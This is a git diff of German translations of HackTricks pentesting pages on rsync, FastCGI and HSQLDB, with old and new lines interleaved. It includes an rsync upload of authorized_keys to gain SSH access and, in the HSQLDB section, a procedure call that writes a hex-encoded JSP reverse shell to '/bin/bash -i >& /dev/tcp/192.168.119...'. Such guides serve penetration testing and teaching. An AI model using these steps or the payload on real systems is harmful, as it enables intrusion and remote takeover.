* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Grundlegende Informationen**
## **Grundinformationen**
Aus [Wikipedia](https://en.wikipedia.org/wiki/Rsync) übersetzt:
Von [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** ist ein Dienstprogramm zum effizienten [Übertragen](https://en.wikipedia.org/wiki/File\_transfer) und [Synchronisieren](https://en.wikipedia.org/wiki/File\_synchronization) von [Dateien](https://en.wikipedia.org/wiki/Computer\_file) zwischen einem Computer und einer externen Festplatte sowie zwischen [vernetzten](https://en.wikipedia.org/wiki/Computer\_network) [Computern](https://en.wikipedia.org/wiki/Computer), indem die [Änderungszeiten](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) und Größen der Dateien verglichen werden.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Es ist häufig auf [Unix-ähnlichen](https://en.wikipedia.org/wiki/Unix-like) [Betriebssystemen](https://en.wikipedia.org/wiki/Operating\_system) zu finden. Der Rsync-Algorithmus ist eine Art von [Delta-Codierung](https://en.wikipedia.org/wiki/Delta\_encoding) und wird zur Minimierung des Netzwerkverbrauchs verwendet. [Zlib](https://en.wikipedia.org/wiki/Zlib) kann für zusätzliche [Datenkompression](https://en.wikipedia.org/wiki/Data\_compression) verwendet werden,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) und [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) oder [stunnel](https://en.wikipedia.org/wiki/Stunnel) können für die Sicherheit verwendet werden.
> **rsync** ist ein Dienstprogramm zum effizienten [Übertragen](https://en.wikipedia.org/wiki/File\_transfer) und [Synchronisieren](https://en.wikipedia.org/wiki/File\_synchronization) von [Dateien](https://en.wikipedia.org/wiki/Computer\_file) zwischen einem Computer und einer externen Festplatte sowie über [vernetzte](https://en.wikipedia.org/wiki/Computer\_network) [Computer](https://en.wikipedia.org/wiki/Computer) durch den Vergleich der [Änderungszeiten](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) und Größen von Dateien.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Es ist häufig auf [Unix-ähnlichen](https://en.wikipedia.org/wiki/Unix-like) [Betriebssystemen](https://en.wikipedia.org/wiki/Operating\_system) zu finden. Der rsync-Algorithmus ist eine Art von [Delta-Codierung](https://en.wikipedia.org/wiki/Delta\_encoding) und wird verwendet, um die Netzwerknutzung zu minimieren. [Zlib](https://en.wikipedia.org/wiki/Zlib) kann für zusätzliche [Datenkompression](https://en.wikipedia.org/wiki/Data\_compression) verwendet werden,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) und [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) oder [stunnel](https://en.wikipedia.org/wiki/Stunnel) können für die Sicherheit verwendet werden.
**Standardport:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
### Banner & manuelle Kommunikation
## Enumeration
Die Enumeration von Rsync beginnt mit der Überprüfung des Banners und der manuellen Kommunikation. Der Rsync-Dienst sendet normalerweise einen Begrüßungstext, der Informationen über die Version und die unterstützten Funktionen enthält. Dieser Begrüßungstext kann verwendet werden, um Informationen über den Rsync-Server zu sammeln.
Um den Banner zu überprüfen, kann das Tool `nc` (Netcat) verwendet werden, um eine Verbindung zum Rsync-Server herzustellen und den Begrüßungstext anzuzeigen. Die Syntax lautet:
```plaintext
nc <ziel-ip> <ziel-port>
```
Nachdem die Verbindung hergestellt wurde, wird der Begrüßungstext angezeigt. Dieser Text kann Informationen wie die Rsync-Version, das Betriebssystem und andere nützliche Details enthalten.
Die manuelle Kommunikation beinhaltet das Senden von Rsync-Befehlen an den Server und das Überprüfen der Antworten. Dies kann mit dem Tool `rsync` durchgeführt werden. Die Syntax lautet:
```plaintext
rsync <ziel-ip>::
```
Dieser Befehl fordert eine Liste der freigegebenen Module vom Rsync-Server an. Die Antwort enthält Informationen über die verfügbaren Module und deren Pfade.
Die Banner- und manuelle Kommunikationstechniken sind hilfreich, um Informationen über den Rsync-Server zu sammeln und potenzielle Schwachstellen zu identifizieren.
### Banner & Manuelle Kommunikation
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@ -67,9 +50,9 @@ nc -vn 127.0.0.1 873
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Ermittlung freigegebener Ordner**
### **Auflisten von Freigabeordnern**
**Rsync-Module** werden als **Verzeichnisfreigaben** erkannt, die möglicherweise **mit Passwörtern geschützt sind**. Um verfügbare Module zu identifizieren und zu überprüfen, ob sie Passwörter erfordern, werden die folgenden Befehle verwendet:
**Rsync-Module** werden als **Verzeichnisfreigaben** erkannt, die möglicherweise **mit Passwörtern geschützt** sind. Um verfügbare Module zu identifizieren und zu überprüfen, ob sie Passwörter erfordern, werden die folgenden Befehle verwendet:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
@ -77,13 +60,13 @@ msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Seien Sie sich bewusst, dass einige Freigaben möglicherweise nicht in der Liste angezeigt werden und möglicherweise versteckt sind. Darüber hinaus kann der Zugriff auf einige Freigaben auf bestimmte Anmeldeinformationen beschränkt sein, was durch eine "Zugriff verweigert"-Meldung angezeigt wird.
Seien Sie sich bewusst, dass einige Freigaben möglicherweise nicht in der Liste erscheinen, was sie möglicherweise verbirgt. Darüber hinaus kann der Zugriff auf einige Freigaben auf bestimmte **Anmeldeinformationen** beschränkt sein, was durch eine **"Zugriff verweigert"**-Meldung angezeigt wird.
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Manuelle Verwendung von Rsync
### Manuelle Rsync-Nutzung
Nachdem Sie eine **Modulliste** erhalten haben, hängen die Aktionen davon ab, ob eine Authentifizierung erforderlich ist. Ohne Authentifizierung können Sie Dateien aus einem freigegebenen Ordner in ein lokales Verzeichnis **auflisten** und **kopieren**, indem Sie Folgendes verwenden:
Nach dem Erhalt einer **Modulübersicht** hängen die Aktionen davon ab, ob eine Authentifizierung erforderlich ist. Ohne Authentifizierung erfolgt das **Auflisten** und **Kopieren** von Dateien aus einem freigegebenen Ordner in ein lokales Verzeichnis durch:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
@ -91,39 +74,40 @@ rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Dieser Prozess überträgt Dateien rekursiv und bewahrt dabei ihre Attribute und Berechtigungen.
Dieser Prozess **überträgt Dateien rekursiv** und bewahrt deren Attribute und Berechtigungen.
Mit Anmeldeinformationen kann das Auflisten und Herunterladen aus einem freigegebenen Ordner wie folgt erfolgen, wobei ein Passwort-Prompt angezeigt wird:
Mit **Anmeldeinformationen** kann das Auflisten und Herunterladen aus einem freigegebenen Ordner wie folgt erfolgen, wobei eine Passwortaufforderung erscheint:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Um **Inhalte hochzuladen**, wie z.B. eine _**authorized_keys**_-Datei für den Zugriff, verwenden Sie:
Um **Inhalte hochzuladen**, wie eine _**authorized_keys**_-Datei für den Zugriff, verwenden Sie:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Um die rsyncd-Konfigurationsdatei zu finden, führen Sie Folgendes aus:
Um die rsyncd-Konfigurationsdatei zu finden, führen Sie aus:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Innerhalb dieser Datei kann ein _secrets file_ Parameter auf eine Datei verweisen, die **Benutzernamen und Passwörter** für die rsyncd-Authentifizierung enthält.
Innerhalb dieser Datei könnte ein _secrets file_ Parameter auf eine Datei verweisen, die **Benutzernamen und Passwörter** für die rsyncd-Authentifizierung enthält.
## Referenzen
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
# Grundlegende Informationen
# Grundinformationen
Wenn Sie **lernen möchten, was FastCGI ist**, überprüfen Sie die folgende Seite:
Wenn du **lernen möchtest, was FastCGI ist**, schaue dir die folgende Seite an:
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
@ -45,19 +46,20 @@ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
```
oder Sie können auch das folgende Python-Skript verwenden: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356)
oder Sie können auch das folgende Python-Skript verwenden: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,51 +1,52 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
# Grundlegende Informationen
# Grundinformationen
**HSQLDB \([HyperSQL-Datenbank](http://hsqldb.org/)\)** ist das führende SQL-Relationssystem, das in Java geschrieben ist. Es bietet eine kleine, schnelle, mehrfädige und transaktionale Datenbank-Engine mit Speichertabellen und tabellenbasierten Tabellen und unterstützt eingebettete und Servermodi.
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** ist das führende SQL-Relationale Datenbanksystem, das in Java geschrieben ist. Es bietet eine kleine, schnelle, mehrthreadige und transaktionale Datenbank-Engine mit In-Memory- und festplattenbasierten Tabellen und unterstützt eingebettete und Servermodi.
**Standardport:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# Informationen
# Information
### Standardkonfiguration
### Standard-Einstellungen
Beachten Sie, dass dieser Dienst standardmäßig wahrscheinlich im Speicher ausgeführt wird oder an localhost gebunden ist. Wenn Sie ihn gefunden haben, haben Sie wahrscheinlich einen anderen Dienst ausgenutzt und suchen nach Möglichkeiten, Privilegien zu eskalieren.
Beachten Sie, dass dieser Dienst standardmäßig wahrscheinlich im Speicher läuft oder an localhost gebunden ist. Wenn Sie ihn gefunden haben, haben Sie wahrscheinlich einen anderen Dienst ausgenutzt und versuchen, die Berechtigungen zu erhöhen.
Standardmäßige Anmeldeinformationen sind normalerweise `sa` mit einem leeren Passwort.
Die Standardanmeldeinformationen sind normalerweise `sa` mit einem leeren Passwort.
Wenn Sie einen anderen Dienst ausgenutzt haben, suchen Sie nach möglichen Anmeldeinformationen unter Verwendung von
Wenn Sie einen anderen Dienst ausgenutzt haben, suchen Sie nach möglichen Anmeldeinformationen mit
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Beachten Sie den Datenbanknamen sorgfältig - Sie benötigen ihn, um eine Verbindung herzustellen.
Note den Datenbanknamen sorgfältig - du wirst ihn für die Verbindung benötigen.
# Informationsbeschaffung
# Info Gathering
Stellen Sie eine Verbindung zur DB-Instanz her, indem Sie HSQLDB [herunterladen](https://sourceforge.net/projects/hsqldb/files/) und `hsqldb/lib/hsqldb.jar` extrahieren. Führen Sie die GUI-Anwendung \(eww\) mit `java -jar hsqldb.jar` aus und stellen Sie eine Verbindung zur Instanz unter Verwendung der entdeckten/schwachen Anmeldeinformationen her.
Verbinde dich mit der DB-Instanz, indem du [HSQLDB herunterlädst](https://sourceforge.net/projects/hsqldb/files/) und `hsqldb/lib/hsqldb.jar` extrahierst. Starte die GUI-App \(eww\) mit `java -jar hsqldb.jar` und verbinde dich mit der Instanz unter Verwendung der entdeckten/schwachen Anmeldeinformationen.
Beachten Sie, dass die Verbindungs-URL für ein Remote-System wie folgt aussehen wird: `jdbc:hsqldb:hsql://ip/DBNAME`.
Beachte, dass die Verbindungs-URL für ein entferntes System ungefähr so aussehen wird: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Tricks
## Java Language Routines
Wir können statische Methoden einer Java-Klasse von HSQLDB aus mit Java Language Routines aufrufen. Beachten Sie, dass die aufgerufene Klasse im Klassenpfad der Anwendung vorhanden sein muss.
Wir können statische Methoden einer Java-Klasse von HSQLDB aus über Java Language Routines aufrufen. Beachte, dass die aufgerufene Klasse im Klassenpfad der Anwendung vorhanden sein muss.
JRTs können `Funktionen` oder `Prozeduren` sein. Funktionen können über SQL-Anweisungen aufgerufen werden, wenn die Java-Methode eine oder mehrere SQL-kompatible primitive Variablen zurückgibt. Sie werden mit der `VALUES`-Anweisung aufgerufen.
@ -53,42 +54,43 @@ Wenn die Java-Methode, die wir aufrufen möchten, void zurückgibt, müssen wir
## Lesen von Java-Systemeigenschaften
Funktion erstellen:
Erstelle Funktion:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
Die folgende Funktion ausführen:
Funktion ausführen:
```text
VALUES(getsystemproperty('user.name'))
```
Sie können eine [Liste der Systemeigenschaften hier finden](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Inhalt in Datei schreiben
## Write Content to File
Sie können das Java-Gadget `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` verwenden, das sich im JDK befindet (automatisch in den Klassenpfad der Anwendung geladen wird), um hex-codierte Elemente über einen benutzerdefinierten Vorgang auf die Festplatte zu schreiben. **Beachten Sie die maximale Größe von 1024 Bytes**.
Sie können das `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java-Gadget verwenden, das im JDK \(automatisch in den Klassenpfad der Anwendung geladen\) enthalten ist, um hexadezimal codierte Elemente über ein benutzerdefiniertes Verfahren auf die Festplatte zu schreiben. **Beachten Sie die maximale Größe von 1024 Bytes**.
Erstellen Sie den Vorgang:
Create procedure:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
Führe das Verfahren aus:
Führen Sie das Verfahren aus:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei** oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
# Grundlegende Informationen
# Grundinformationen
